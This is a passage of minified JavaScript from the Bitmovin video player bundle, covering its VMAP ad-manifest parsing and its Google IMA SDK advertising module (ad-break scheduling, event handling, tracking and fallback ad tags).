h=i(54838),u=i(91520),f=i(16368),e=i(59972),o=i(63245),c=i(84668),l=i(857),s=i(58431),a=function(){function n(){}return n[r[791]]=function(n){return u[r[633]][r[239]](f[r[632]][r[701]])[r[792]](n,{decodeEntities:!1,useArrayRepresentationForChildren:!0})},n[r[793]]=function(n){return u[r[633]][r[239]](f[r[632]][r[701]])[r[794]](n)},n[r[795]]=function(t){return n[r[800]](t[r[799]][r[420]])[r[253]](function(i){if(i[r[796]][r[399]]){var u=n[r[797]](i[r[796]],t);return Promise[r[405]]({adBreakConfigs:u,downloadTiming:i[r[798]]})}return Promise[r[249]]({code:o[r[401]][r[400]]})})},n[r[800]]=function(t){return e[r[385]][r[408]](t)[r[288]](function(){return Promise[r[249]]({code:o[r[401]][r[406]]})})[r[253]](function(t){if(!t[r[395]])return Promise[r[249]]({code:s[r[397]][r[396]]});try{var i=n[r[791]](t[r[395]]),u=i[r[801]]?i[r[802]]:{},f={downloadTime:t[r[403]],timeToFirstByte:t[r[404]]};return Promise[r[405]]({manifest:u,downloadTiming:f})}catch(n){return Promise[r[249]]({code:s[r[397]][r[396]]})}})},n[r[797]]=function(t,i){return n[r[804]](t)[r[268]](function(n){var t={id:n[r[4]]||h[r[414]][r[413]](),tag:{url:n[r[799]],type:c[r[682]][r[279]]},position:n[r[71]],preloadOffset:l[r[693]]},u;return i[r[46]](r[531])&&(t[r[531]]=i[r[531]]),i[r[803]]&&(t[r[803]]=i[r[803]]),u={publicAdBreakConfig:t},n[r[37]]&&Object[r[26]](n[r[37]])[r[25]]>0&&(u[r[37]]=n[r[37]]),u})||[]},n[r[804]]=function(t){return t[r[399]]?t[r[399]][r[812]][r[268]](function(t){var e=t[r[805]],i=t[r[806]],f,u;switch(i){case r[807]:i=r[559];break;case r[808]:i=r[561]}return f=n[r[809]](t),u=[],t[r[142]]&&t[r[142]][0]&&t[r[142]][0][r[143]]&&t[r[142]][0][r[143]][r[114]](function(n){var t=n[r[811]][r[810]]();u[r[104]]({type:t,url:n[r[345]]()})}),{id:e,offset:i,tag:f,trackingEvents:u}}):[]},n[r[809]]=function(t){var i=Boolean(t[r[813]]&&t[r[813]][0]),u=Boolean(i&&t[r[813]][0][r[814]]&&t[r[813]][0][r[814]][0]),f=Boolean(i&&t[r[813]][0][r[815]]&&t[r[813]][0][r[815]][0]);return u||f?u&&t[r[813]][0][r[814]][0][r[345]]?t[r[813]][0][r[814]][0][r[345]]():f?e[r[385]][r[418]](n[r[793]](t[r[813]][0][r[815]][0])):void 0:r[139]},n}();t[r[790]]=a}},function(n){return n(n[r[816]]=48513)}])};r[818]==typeof t&&"object"==r[818]?n[r[819]]=f():"function"==r[47]&&i.amdD[r[820]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[818]==typeof t?t[r[821]]=f():(u[r[822]]=u[r[822]]||{},u[r[822]][r[680]]=u[r[822]][r[680]]||{},u[r[822]][r[680]][r[821]]=f())},221:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[399],{22416:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.ImaPassthroughMode=void 0,function(n){n.None="none";n.Vast="vast";n.VastAndVmap="vastandvmap"}(i||(t.ImaPassthroughMode=i={}))},45641:function(n,t,i){function y(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];n&&"function"==typeof n&&n.apply(void 0,i)}function d(n,t){return n.scheduleTime-n.preloadOffset-(t.scheduleTime-t.preloadOffset)}function p(n){var t=n.getAd();return function(n){var t=r({},n);return Object.keys(t).forEach(function(n){var i=t[n],r=i&&"object"==typeof i&&!Object.keys(i).some(function(n){return Boolean(i[n])});(a.isNumber(i)&&i<0||!a.isNumber(i)&&!i||r)&&delete t[n]}),t}({adTitle:t.getTitle(),adSystem:{name:t.getAdSystem()},mimeType:t.getContentType(),bitrate:t.getVastMediaBitrate&&t.getVastMediaBitrate()>0?t.getVastMediaBitrate():-1,wrapperAdIds:t.getWrapperAdIds(),adDescription:t.getDescription(),advertiser:{name:t.getAdvertiserName()},apiFramework:t.getApiFramework(),creative:{id:t.getCreativeId(),adId:t.getCreativeAdId(),universalAdId:{idRegistry:t.getUniversalAdIdRegistry(),value:t.getUniversalAdIdValue()}},dealId:t.getDealId(),minSuggestedDuration:t.isLinear()?s.NON_SKIPPABLE_IDENTIFIER:t.getMinSuggestedDuration(),survey:{uri:t.getSurveyUrl()},traffickingParameters:t.getTraffickingParameters()})}var g=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},h=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))},k;Object.defineProperty(t,"__esModule",{value:!0});t.collectAdData=t.ImaModule=void 0;var w=i(4006),u=i(62510),l=i(10981),nt=i(44920),tt=i(82315),it=i(331),a=i(70016),b=i(54838),f=i(59972),rt=i(92284),ut=i(42512),o=i(66598),c=i(84668),s=i(857),v=i(58431),ft=i(3954),e=i(22416),et=i(3562),ot=i(24295);k=function(n){function t(t,i){var s=n.call(this,t,i)||this;return s.isAdLeftInCurrentAdPod=!0,s.onAdsManagerLoaded=function(n){s.adsRenderingSettings.restoreCustomPlaybackStateOnAdBreakComplete=!1;s.adsRenderingSettings.loadVideoTimeout=s.adVideoLoadTimeout;s.adsManager=n.getAdsManager(s.player.getVideoElement(),s.adsRenderingSettings);s.adsManager.addEventListener(google.ima.AdEvent.Type.CONTENT_PAUSE_REQUESTED,s.onContentPauseRequested);s.adsManager.addEventListener(google.ima.AdEvent.Type.CONTENT_RESUME_REQUESTED,s.onContentResumeRequested);s.adsManager.addEventListener(google.ima.AdEvent.Type.STARTED,s.onStarted);s.adsManager.addEventListener(google.ima.AdEvent.Type.LOADED,s.onLoaded);s.adsManager.addEventListener(google.ima.AdEvent.Type.SKIPPED,s.onSkipped);s.adsManager.addEventListener(google.ima.AdEvent.Type.COMPLETE,s.onComplete);s.adsManager.addEventListener(google.ima.AdEvent.Type.PAUSED,s.onPaused);s.adsManager.addEventListener(google.ima.AdEvent.Type.RESUMED,s.onResumed);s.adsManager.addEventListener(google.ima.AdEvent.Type.CLICK,s.onClicked);s.adsManager.addEventListener(google.ima.AdEvent.Type.DURATION_CHANGE,s.onDurationChange);s.adsManager.addEventListener(google.ima.AdEvent.Type.FIRST_QUARTILE,s.onFirstQuartile);s.adsManager.addEventListener(google.ima.AdEvent.Type.MIDPOINT,s.onMidpoint);s.adsManager.addEventListener(google.ima.AdEvent.Type.THIRD_QUARTILE,s.onThirdQuartile);s.adsManager.addEventListener(google.ima.AdErrorEvent.Type.AD_ERROR,s.onAdError);s.adsManager.addEventListener(google.ima.AdEvent.Type.INTERACTION,s.onAdInteraction);s.adsManager.addEventListener(google.ima.AdEvent.Type.ALL_ADS_COMPLETED,s.onAllAdsCompleted);y(s.config.onAdsManagerAvailable,s.adsManager);s.adsManager.init(s.playerContainer.clientWidth,s.playerContainer.clientHeight,google.ima.ViewMode.NORMAL);s.adsManager.setVolume(s.player.getVolume()/100);s.getActiveAdBreak()?s.onAdBreakLoaded(s.getActiveAdBreak()):s.handleMissingAdBreak()},s.onAdError=function(n){var r,t=s.getActiveAdBreak(),i=n.getError(),u=i.getInnerError(),c=i.getErrorCode(),h=null!=u&&Boolean(u.getErrorCode)?u:null;if(t){if(null===(r=s.adPlaybackApiPromise)||void 0===r||r.then(function(){return f.pingVmapTrackingUrls(t.trackingEvents,o.VmapTrackingEventType.Error)}),function(n){return n===google.ima.AdError.ErrorCode.VAST_EMPTY_RESPONSE||n===google.ima.AdError.ErrorCode.VAST_NO_ADS_AFTER_WRAPPER}(c)&&!s.adPlaybackApiPromise&&(f.pingVmapTrackingUrls(t.trackingEvents,o.VmapTrackingEventType.BreakStart),f.pingVmapTrackingUrls(t.trackingEvents,o.VmapTrackingEventType.Error),f.pingVmapTrackingUrls(t.trackingEvents,o.VmapTrackingEventType.BreakEnd)),h&&h.getErrorCode()===google.ima.AdError.ErrorCode.AUTOPLAY_DISALLOWED)return s.hasContentStarted||(s.schedulableAdBreaks=[t].concat(s.queuedAdBreaks,s.schedulableAdBreaks),s.queuedAdBreaks=[]),void s.emitAdError(h);s.waterfallingErrorCodes.includes(i.getErrorCode())?s.tryNextFallbackAdTag(t).then(function(n){if(n.manifest)s.passAdBreakToIma(t,n.manifest,!0);else{if(t.passthroughMode===e.ImaPassthroughMode.None)return Promise.reject();s.passAdBreakToIma(t,null,!0)}}).catch(function(){return s.emitAdError(i)}):s.emitAdError(i)}else s.emitAdError(i)},s.onContentPauseRequested=function(n){s.contentPauseRequested=!0;(s.adPlaybackApiPromise?s.resetActiveAdPlaybackApi(!1):Promise.resolve()).then(function(){var t=r({},s.getActiveAdBreak()),u,i;(s.removeInternalProps(t),t)||(u=s.player.getVideoElement().currentTime,t={tag:null,id:b.Util.generateUniqueId(),position:String(u),scheduleTime:u});s.adPlaybackApiPromise=s.player.requestAdPlayback(t);s.adPlaybackReporterPromise=s.adPlaybackApiPromise.then(function(n){return n.requestReporter()});s.adPlaybackApiPromise.then(function(){return f.pingVmapTrackingUrls(t.trackingEvents,o.VmapTrackingEventType.BreakStart)});i=n.getAd();s.adjustAdContainer(i.isLinear(),i.getWidth(),i.getHeight())})},s.onContentResumeRequested=function(){var t,n;s.activeAd&&s.onComplete();s.contentPauseRequested=!1;n=s.getActiveAdBreak();s.isFallbackAd&&(s.isFallbackAd=!1,n&&delete n.currentFallbackIndex);null===(t=s.adPlaybackApiPromise)||void 0===t||t.then(function(){return f.pingVmapTrackingUrls(null==n?void 0:n.trackingEvents,o.VmapTrackingEventType.BreakEnd)});s.activeAdBreak=null;s.isAdPlaying=!1;s.adContainer.style.display="none";s.adPlaybackApiPromise?s.adPlaybackApiPromise.then(function(n){s.queuedAdBreaks.length>0?s.playAdBreak(s.queuedAdBreaks.shift()):n.done().then(function(){s.adPlaybackApiPromise=null;s.maybeResolveAdBreaks()})}):s.maybeResolveAdBreaks()},s.onLoaded=function(n){s.adPlaybackApiPromise&&s.isPreviousAdPlaybackApiActive&&s.resetActiveAdPlaybackApi(!n.getAd().isLinear())},s.onStarted=function(n){(s.activeAdBreak||s.activeAd)&&(s.adjustAdContainer(n.getAd().isLinear(),n.getAd().getWidth(),n.getAd().getHeight()),s.activeAd||s.initializeActiveAd(n),s.config&&s.config.companionAdContainers&&s.displayCompanionAds(s.config.companionAdContainers(),n),s.activeAd.isLinear?s.onLinearAdStarted(n):s.onNonLinearAdStarted(n))},s.triggerTimeUpdate=function(){if(s.adPlaybackReporterPromise){var n=s.currentTime();n!==s.lastKnownAdPlaybackTime&&n>0&&s.adPlaybackReporterPromise.then(function(t){return t.timeupdate(n)});s.lastKnownAdPlaybackTime=n}},s.onSkipped=function(){s.resetActiveAd();s.adPlaybackReporterPromise&&s.adPlaybackReporterPromise.then(function(n){return n.skipped()})},s.onComplete=function(){s.triggerRemainingQuartiles();s.resetActiveAd();s.adPlaybackReporterPromise&&(s.adPlaybackReporterPromise.then(function(n){return n.done()}),s.adPlaybackReporterPromise=s.adPlaybackApiPromise.then(function(n){return n.requestReporter()}))},s.onAllAdsCompleted=function(){s.isAdLeftInCurrentAdPod||(s.adsManager.destroy(),s.adsLoader.contentComplete())},s.onPaused=function(){s.isAdPlaying=!1;s.adPlaybackReporterPromise.then(function(n){return n.paused(s.currentTime())})},s.onResumed=function(){s.isAdPlaying=!0;s.adPlaybackReporterPromise.then(function(n){return n.resumed(s.currentTime())})},s.onClicked=function(){var n=s.activeAd?s.activeAd.clickThroughUrl:null;s.player.adClicked(n)},s.onAdInteraction=function(n){var t;s.player.adInteraction(u.AdInteractionType.Vpaid,null===(t=n.getAdData())||void 0===t?void 0:t.id)},s.onDurationChange=function(n){s.currentDuration=n.getAd().getDuration()},s.onFirstQuartile=function(){s.player.onQuartile(u.AdQuartile.FIRST_QUARTILE);s.triggeredQuartiles.push(u.AdQuartile.FIRST_QUARTILE)},s.onMidpoint=function(){s.player.onQuartile(u.AdQuartile.MIDPOINT);s.triggeredQuartiles.push(u.AdQuartile.MIDPOINT)},s.onThirdQuartile=function(){s.player.onQuartile(u.AdQuartile.THIRD_QUARTILE);s.triggeredQuartiles.push(u.AdQuartile.THIRD_QUARTILE)},s.schedulableAdBreaks=[],s.unschedulableAdBreaks=[],s.queuedAdBreaks=[],s.persistentAdBreaks=[],s.currentScheduleTime=0,s.activeAdBreak=null,s.activeAd=null,s.adVideoLoadTimeout=i.videoLoadTimeout,s.waterfallingErrorCodes=[],s.contentPauseRequested=!1,s.triggeredQuartiles=[],s.isUsingCustomAdContainer=!1,s.isImaSdkAvailable=!1,s.scheduleAdBreaks=Promise.resolve(null),s.isAdPlaying=!1,s.isFallbackAd=!1,s.isPreviousAdPlaybackApiActive=!1,s.config.placeholders=r(r({},rt.adTagPlaceholderDefaults),s.config.placeholders),s.initializeImaSdkDeferred=new l.Deferred,s.loadImaSdkPromise=tt.FileLoader.getInstance().loadScript(i.sdkUrl),s.loadImaSdkPromise.then(function(){s.createDomStructure();s.initialize();s.isImaSdkAvailable=!0}).catch(function(){s.player.onError(et.ImaModuleErrorCode.FAILED_TO_REQUEST_IMA_SDK,"could not load the IMA SDK");s.isImaSdkAvailable=!1;s.initializeImaSdkDeferred.resolve()}),s}return g(t,n),t.prototype.createDomStructure=function(){"function"==typeof this.config.adContainer&&(this.adContainer=this.config.adContainer(),this.adContainer instanceof HTMLElement?this.isUsingCustomAdContainer=!0:this.player.onError(v.VastErrorCode.UNDEFINED_ERROR,"AdvertisingConfig.adContainer was defined but did not provide a valid HTMLElement."));this.isUsingCustomAdContainer||(this.adContainer=nt.DOMHelper.createTag("div",{"class":w.Environment.idPrefix+"ima-container"},{height:"100%",width:"100%",display:"none",border:"none",overflow:"hidden",position:"absolute",top:"0"}),this.playerContainer=this.player.getVideoElement().parentElement,this.playerContainer.appendChild(this.adContainer));y(this.config.onAdContainerAvailable,this.adContainer)},t.prototype.initialize=function(){google.ima.settings.setPlayerType("bitmovin-player");google.ima.settings.setNumRedirects(25);google.ima.settings.setCookiesEnabled(this.config.withCredentials);y(this.config.beforeInitialization,google.ima.settings);this.adsRenderingSettings=new google.ima.AdsRenderingSettings;this.config.allowedUiElements&&(this.adsRenderingSettings.uiElements=this.config.allowedUiElements);this.adDisplayContainer=new google.ima.AdDisplayContainer(this.adContainer,this.player.getVideoElement());this.adDisplayContainer.initialize();this.adsLoader=new google.ima.AdsLoader(this.adDisplayContainer);this.adsLoader.addEventListener(google.ima.AdErrorEvent.Type.AD_ERROR,this.onAdError);this.adsLoader.addEventListener(google.ima.AdsManagerLoadedEvent.Type.ADS_MANAGER_LOADED,this.onAdsManagerLoaded);this.waterfallingErrorCodes=[100,404,google.ima.AdError.ErrorCode.COMPANION_REQUIRED_ERROR,google.ima.AdError.ErrorCode.FAILED_TO_REQUEST_ADS,google.ima.AdError.ErrorCode.NONLINEAR_DIMENSIONS_ERROR,google.ima.AdError.ErrorCode.UNKNOWN_AD_RESPONSE,google.ima.AdError.ErrorCode.UNKNOWN_ERROR,google.ima.AdError.ErrorCode.VAST_ASSET_NOT_FOUND,google.ima.AdError.ErrorCode.VAST_EMPTY_RESPONSE,google.ima.AdError.ErrorCode.VAST_LINEAR_ASSET_MISMATCH,google.ima.AdError.ErrorCode.VAST_LOAD_TIMEOUT,google.ima.AdError.ErrorCode.VAST_MALFORMED_RESPONSE,google.ima.AdError.ErrorCode.VAST_NO_ADS_AFTER_WRAPPER,google.ima.AdError.ErrorCode.VAST_SCHEMA_VALIDATION_ERROR,google.ima.AdError.ErrorCode.VAST_TOO_MANY_REDIRECTS,google.ima.AdError.ErrorCode.VAST_TRAFFICKING_ERROR,google.ima.AdError.ErrorCode.VAST_UNSUPPORTED_VERSION,google.ima.AdError.ErrorCode.VAST_WRAPPER_ERROR,1012];this.initializeImaSdkDeferred.resolve()},t.prototype.handleMissingAdBreak=function(){this.adPlaybackApiPromise&&this.resetActiveAdPlaybackApi();this.passthroughDownloadTime=null},t.prototype.recoverFromAdError=function(){this.maybeResolveAdBreaks();this.contentPauseRequested||this.resetActiveAdPlaybackApi().catch(function(){})},t.prototype.emitAdError=function(n){this.player.onError(n.getErrorCode(),n.getMessage(),this.getActiveAdBreak());this.resetActiveAd();this.activeAdBreak=null;this.queuedAdBreaks.length>0?this.playAdBreak(this.queuedAdBreaks.shift()):this.recoverFromAdError()},t.prototype.maybeResolveAdBreaks=function(){this.finishAllAdBreaksForPosition&&(this.finishAllAdBreaksForPosition.resolve(),this.finishAllAdBreaksForPosition=null)},t.prototype.onAdBreakLoaded=function(n){this.adPlaybackApiPromise&&(this.isPreviousAdPlaybackApiActive=!0);n.passthroughMode!==e.ImaPassthroughMode.None&&this.fireMetadataLoadedEventForPassthroughMode(n);this.passthroughDownloadTime=null;n.hasOwnProperty("ads")||(n.ads=[]);this.maybePlayLoadedAdBreak(n)},t.prototype.fireMetadataLoadedEventForPassthroughMode=function(n){var t=a.isNumber(n.currentFallbackIndex)&&n.currentFallbackIndex>=0?n.fallbackTags[n.currentFallbackIndex]:n.tag,i=this.passthroughDownloadTime&&t.type!==c.AdTagType.VMAP?{downloadTime:it.toSeconds(Date.now()-this.passthroughDownloadTime)}:null;this.player.metadataLoaded(n,i)},t.prototype.maybePlayLoadedAdBreak=function(n){this.config.strategy.shouldPlayAdBreak(n)?this.adsManager.start():(this.activeAdBreak=null,this.queuedAdBreaks.length>0?this.playAdBreak(this.queuedAdBreaks.shift()):(this.isPreviousAdPlaybackApiActive&&this.resetActiveAdPlaybackApi(),this.maybeResolveAdBreaks()))},t.prototype.initializeActiveAd=function(n){var t=this.getActiveAdBreak(),u,i,r;t&&t.ads&&(u=n.getAd().getAdId(),i=t.ads.find(function(n){return n.id===u}),i&&(this.activeAd=i));(this.activeAd=this.activeAd||{id:n.getAd().getAdId()},this.activeAd.isLinear=n.getAd().isLinear(),1===Object.keys(n.getAd()).length)&&(r=n.getAd()[Object.keys(n.getAd())[0]].clickThroughUrl,r&&(this.activeAd.clickThroughUrl=r));n.getAd().getMediaUrl()&&(this.activeAd.mediaFileUrl=n.getAd().getMediaUrl())},t.prototype.onLinearAdStarted=function(n){var t=this,i=n.getAd().getSkipTimeOffset();this.currentDuration=n.getAd().getDuration();-1===this.currentDuration&&(this.currentDuration=null);this.activeAd.width=n.getAd().getVastMediaWidth();this.activeAd.height=n.getAd().getVastMediaHeight();this.activeAd.duration=this.currentDuration;this.activeAd.skippable=i!==s.NON_SKIPPABLE_IDENTIFIER;this.activeAd.data=p(n);this.activeAd.skippable&&(this.activeAd.skippableAfter=i);this.getActiveAdBreak()&&!this.getActiveAdBreak().ads.includes(this.activeAd)&&this.getActiveAdBreak().ads.push(this.activeAd);this.isAdPlaying=!0;this.adPlaybackReporterPromise.then(function(n){n.started(t.activeAd);t.triggerTimeUpdateInterval=window.setInterval(t.triggerTimeUpdate,250)})},t.prototype.onNonLinearAdStarted=function(n){this.queuedAdBreaks.length>0?this.playAdBreak(this.queuedAdBreaks.shift()):(this.activeAd.width=n.getAd().getWidth(),this.activeAd.height=n.getAd().getHeight(),this.activeAd.data=p(n),this.getActiveAdBreak()&&!this.getActiveAdBreak().ads.includes(this.activeAd)&&this.getActiveAdBreak().ads.push(this.activeAd),this.player.overlayAdStarted(this.activeAd),this.finishAllAdBreaksForPosition&&(this.finishAllAdBreaksForPosition.resolve(),this.finishAllAdBreaksForPosition=null));this.activeAdBreak=null},t.prototype.adjustAdContainer=function(n,t,i){this.adContainer.style.display="block";this.isUsingCustomAdContainer||(n?(this.adContainer.style.width="100%",this.adContainer.style.height="100%",this.adContainer.style.top="0",this.adContainer.style.bottom="",this.adContainer.style.left="",this.adContainer.style.right="",this.adContainer.style.marginLeft="",this.adContainer.style.marginRight=""):(this.adContainer.style.width=t+"px",this.adContainer.style.height=i+"px",this.adContainer.style.top="",this.adContainer.style.bottom=s.DEFAULT_OVERLAY_AD_BOTTOM_POSITION,this.adContainer.style.left="0",this.adContainer.style.right="0",this.adContainer.style.marginLeft="auto",this.adContainer.style.marginRight="auto"));this.adjustImaIframe(n,t,i)},t.prototype.adjustImaIframe=function(n,t,i){var r=this.adContainer.firstElementChild,u;r&&(n?(r.style.width="100%",r.style.height="100%"):(r.style.width=t+"px",r.style.height=i+"px"));u=r.getElementsByTagName("iframe")[0];u&&(n?(u.style.width="100%",u.style.height="100%"):(u.style.width=t+"px",u.style.height=i+"px"))},t.prototype.displayCompanionAds=function(n,t){var i=this,r=t.getAd();r&&n.forEach(function(n){var t=ot.selectCompanionAd(n,r);"innerHTML"in n&&void 0!==t&&(i.activeAd.hasOwnProperty("companionAds")||(i.activeAd.companionAds=[]),i.activeAd.companionAds.push({width:t.getWidth(),height:t.getHeight()}),n.innerHTML=t.getContent())})},t.prototype.resetActiveAdPlaybackApi=function(n){if(void 0===n&&(n=!0),!this.adPlaybackApiPromise)return Promise.resolve();var t=this.adPlaybackApiPromise.then(function(t){return t.done(n)});return this.adPlaybackApiPromise=null,this.isPreviousAdPlaybackApiActive=null,t},t.prototype.resetActiveAd=function(){this.activeAd&&this.activeAd.companionAds&&this.config.companionAdContainers().forEach(function(n){return n.innerHTML=""});clearInterval(this.triggerTimeUpdateInterval);this.triggerTimeUpdateInterval=null;this.activeAd=null;this.isAdPlaying=!1;this.lastKnownAdPlaybackTime=null;this.triggeredQuartiles=[]},t.prototype.triggerRemainingQuartiles=function(){var n=this;[u.AdQuartile.FIRST_QUARTILE,u.AdQuartile.MIDPOINT,u.AdQuartile.THIRD_QUARTILE].filter(function(t){return!n.triggeredQuartiles.includes(t)}).forEach(function(t){n.player.onQuartile(t)})},t.prototype.onTimeChanged=function(n){var t=this,i,r;this.isLinearAdActive()||(this.hasContentStarted=!0,this.currentScheduleTime=n,i=this.schedulableAdBreaks.filter(function(t){return t.preloadOffset&&!t.vastResponse&&t.scheduleTime-t.preloadOffset<=n}),r=this.schedulableAdBreaks.filter(function(t){return t.scheduleTime<=n&&!t.isScheduled}),i.forEach(function(n){return t.loadAdBreak(n)}),r.forEach(function(n){n.isScheduled=!0;t.loadAdBreak(n).then(function(){t.schedulableAdBreaks.includes(n)&&t.playAdBreak(n)})}))},t.prototype.resetPlaybackStatus=function(n){this.schedulableAdBreaks.forEach(function(t){return t.scheduleTime>=n&&(t.isScheduled=!1)})},t.prototype.onSeek=function(n,t){var i,r;this.resetPlaybackStatus(t);i=this.schedulableAdBreaks.filter(function(n){return n.scheduleTime<=t});(this.schedulableAdBreaks=this.schedulableAdBreaks.filter(function(n){return!i.includes(n)}),i.length>0)&&(r=this.config.strategy.shouldPlaySkippedAdBreaks(h([],i,!0),n,t),(i=i.filter(function(n){return!n.discardAfterPlayback||r.includes(n)})).forEach(function(n){return n.isScheduled=!0}),r.forEach(function(n){var t=i.findIndex(function(t){return t===n});t>-1&&(i[t].isScheduled=!1)}),this.schedulableAdBreaks=i.concat(this.schedulableAdBreaks))},t.prototype.onResize=function(n,t,i){if(this.adsManager&&(!this.activeAd||this.activeAd.isLinear)){var r=i?google.ima.ViewMode.FULLSCREEN:google.ima.ViewMode.NORMAL;this.adsManager.resize(n,t,r)}},t.prototype.onVolumeChanged=function(n){this.adsManager&&this.adsManager.setVolume(n/100)},t.prototype.beforeContent=function(){var n=this;return this.storeAdBreaks(this.unschedulableAdBreaks.splice(0,this.unschedulableAdBreaks.length)),this.loadImaSdkPromise.then(function(){return n.isImaSdkAvailable?(n.deInitialize(),n.initialize(),n.scheduleAdBreaks.catch(function(){}).then(function(){return n.playAllAdBreaksForOffset("pre")})):Promise.resolve()})},t.prototype.afterContent=function(){var n=this;return this.isImaSdkAvailable?(this.activeAd&&!this.activeAd.isLinear&&(this.resetActiveAd(),this.activeAdBreak=null,this.adsManager.stop()),this.adsLoader.contentComplete(),this.playAllAdBreaksForOffset("post").then(function(){return n.resetPlaybackStatus(0)})):Promise.resolve()},t.prototype.isValidPassthroughMode=function(n){return Object.keys(e.ImaPassthroughMode).some(function(t){return n===e.ImaPassthroughMode[t]})},t.prototype.preProcessAdConfig=function(n){n.fallbackTags&&n.fallbackTags.length>0&&(n.fallbackTags=n.fallbackTags.filter(function(n){return!!n.url}));this.isValidPassthroughMode(n.passthroughMode)||(n.passthroughMode=e.ImaPassthroughMode.Vast);var t=n;return t.position=t.position?String(t.position).toLowerCase():s.DEFAULT_AD_BREAK_POSITION,"number"!=typeof t.preloadOffset&&(t.preloadOffset=s.DEFAULT_PRELOAD_OFFSET),t},t.prototype.validateAdTag=function(n){return n.tag?n.tag.url?Object.keys(c.AdTagType).some(function(t){return n.tag.type===c.AdTagType[t]})?void 0:"The provided ad tag type is invalid":"No ad tag url was provided":"No ad tag was provided"},t.prototype.getAdBreaksFromAdBreakConfigs=function(n,t){return n.map(function(n){var i=r(r({},n.publicAdBreakConfig),{isScheduled:!1,parentAdTag:t.tag});return n.trackingEvents&&(i.trackingEvents=n.trackingEvents),void 0===i.id&&(i.id=b.Util.generateUniqueId()),i})},t.prototype.removeInternalProps=function(n){return delete n.isScheduled,delete n.parentAdTag,n},t.prototype.schedule=function(n){var t=this;return this.scheduleAdBreaks=this.initializeImaSdkDeferred.promise.then(function(){var u,i;return t.isImaSdkAvailable?(u=t.validateAdTag(n),u)?Promise.reject(u):(i=t.preProcessAdConfig(n),t.extractSchedulableAdBreakConfigs(i).then(function(u){var f,e,o;return 0===u.length&&i.fallbackTags&&i.fallbackTags.length>0?(i.tag=i.fallbackTags.shift(),t.schedule(i)):(f=t.getAdBreaksFromAdBreakConfigs(u,n),f.forEach(function(t){return t.discardAfterPlayback=!1!==n.discardAfterPlayback}),e=t.storeAdBreaks(f),o=h([],e.map(function(n){var i=r({},n);return t.removeInternalProps(i),i}),!0),Promise.resolve(o))})):Promise.reject("The IMA SDK was not loaded and initialized properly")})},t.prototype.storeAdBreaks=function(n){var i=this,t=[],r;return n.forEach(function(n){var r=i.player.parsePosition(n.position);isNaN(r)?i.unschedulableAdBreaks.push(n):(n.scheduleTime=r,t.push(n))}),r=t.filter(function(n){return n.persistent}),this.schedulableAdBreaks=this.schedulableAdBreaks.concat(t),this.persistentAdBreaks=this.persistentAdBreaks.concat(r),this.schedulableAdBreaks.sort(d),this.persistentAdBreaks.sort(d),t},t.prototype.extractSchedulableAdBreakConfigs=function(n){var t=this;return new Promise(function(i){if(n.tag.type===c.AdTagType.VMAP&&n.passthroughMode!==e.ImaPassthroughMode.VastAndVmap){var r=n.tag.url;n.tag.url=t.applyAdTagPlaceholders(n.tag.url);ft.VmapExtractor.extractAdBreakConfigs(n).then(function(u){var f=u.adBreakConfigs.filter(function(n){var i=t.player.parsePosition(n.publicAdBreakConfig.position);return isNaN(i)||i>=t.currentScheduleTime});n.tag.url=r;t.player.metadataLoaded(n,u.downloadTiming);i(f)}).catch(function(u){n.tag.url=r;u?t.player.onError(u.code,null,n):t.player.onError(v.VastErrorCode.UNDEFINED_ERROR,null,n);i([])})}else i([{publicAdBreakConfig:n}])})},t.prototype.playAllAdBreaksForOffset=function(n){var t=this;return this.initializeImaSdkDeferred.promise.then(function(){var i,r;return t.isImaSdkAvailable?(i="post"===n?t.schedulableAdBreaks.filter(function(t){return t.position.includes(n)||t.scheduleTime===1/0}):t.schedulableAdBreaks.filter(function(t){return t.position.includes(n)||0===t.scheduleTime}),r=Promise.resolve(),i.length>0&&(t.finishAllAdBreaksForPosition=new l.Deferred,r=t.finishAllAdBreaksForPosition.promise,i.forEach(function(n){n.isScheduled=!0;t.loadAdBreak(n).then(function(){return t.playAdBreak(n)})})),r):Promise.resolve()})},t.prototype.loadAdBreak=function(n,t){var i=this,r=n.tag,u;return(t&&(n.vastResponse=null,r=t),n.vastResponse&&!t)?n.vastResponse:(u=this.applyAdTagPlaceholders(r.url),n.vastResponse=n.passthroughMode!==e.ImaPassthroughMode.None?Promise.resolve({}):f.AdManifestHelper.downloadVastManifest(u).then(function(t){var r=t.manifest,u={manifest:f.AdManifestHelper.xmlToString(r)};return f.AdManifestHelper.parseAdVerifications(r).then(function(r){return r&&r.length>0&&(n.ads=[],r.forEach(function(t){t.verifications&&t.verifications.length>0&&n.ads.push({id:t.id,verifications:t.verifications})})),i.player.metadataLoaded(n,t.downloadTiming),Promise.resolve(u)})}).catch(function(t){return i.tryNextFallbackAdTag(n).catch(function(){return delete n.currentFallbackIndex,t?i.player.onError(t.code,null,n):i.player.onError(v.VastErrorCode.UNDEFINED_ERROR,null,n),Promise.resolve({})})}),n.vastResponse)},t.prototype.tryNextFallbackAdTag=function(n){return"number"!=typeof n.currentFallbackIndex?n.currentFallbackIndex=0:n.currentFallbackIndex++,n.fallbackTags&&n.fallbackTags[n.currentFallbackIndex]?this.loadAdBreak(n,n.fallbackTags[n.currentFallbackIndex]):Promise.reject()},t.prototype.playAdBreak=function(n){var t=this;this.initializeImaSdkDeferred.promise.then(function(){var 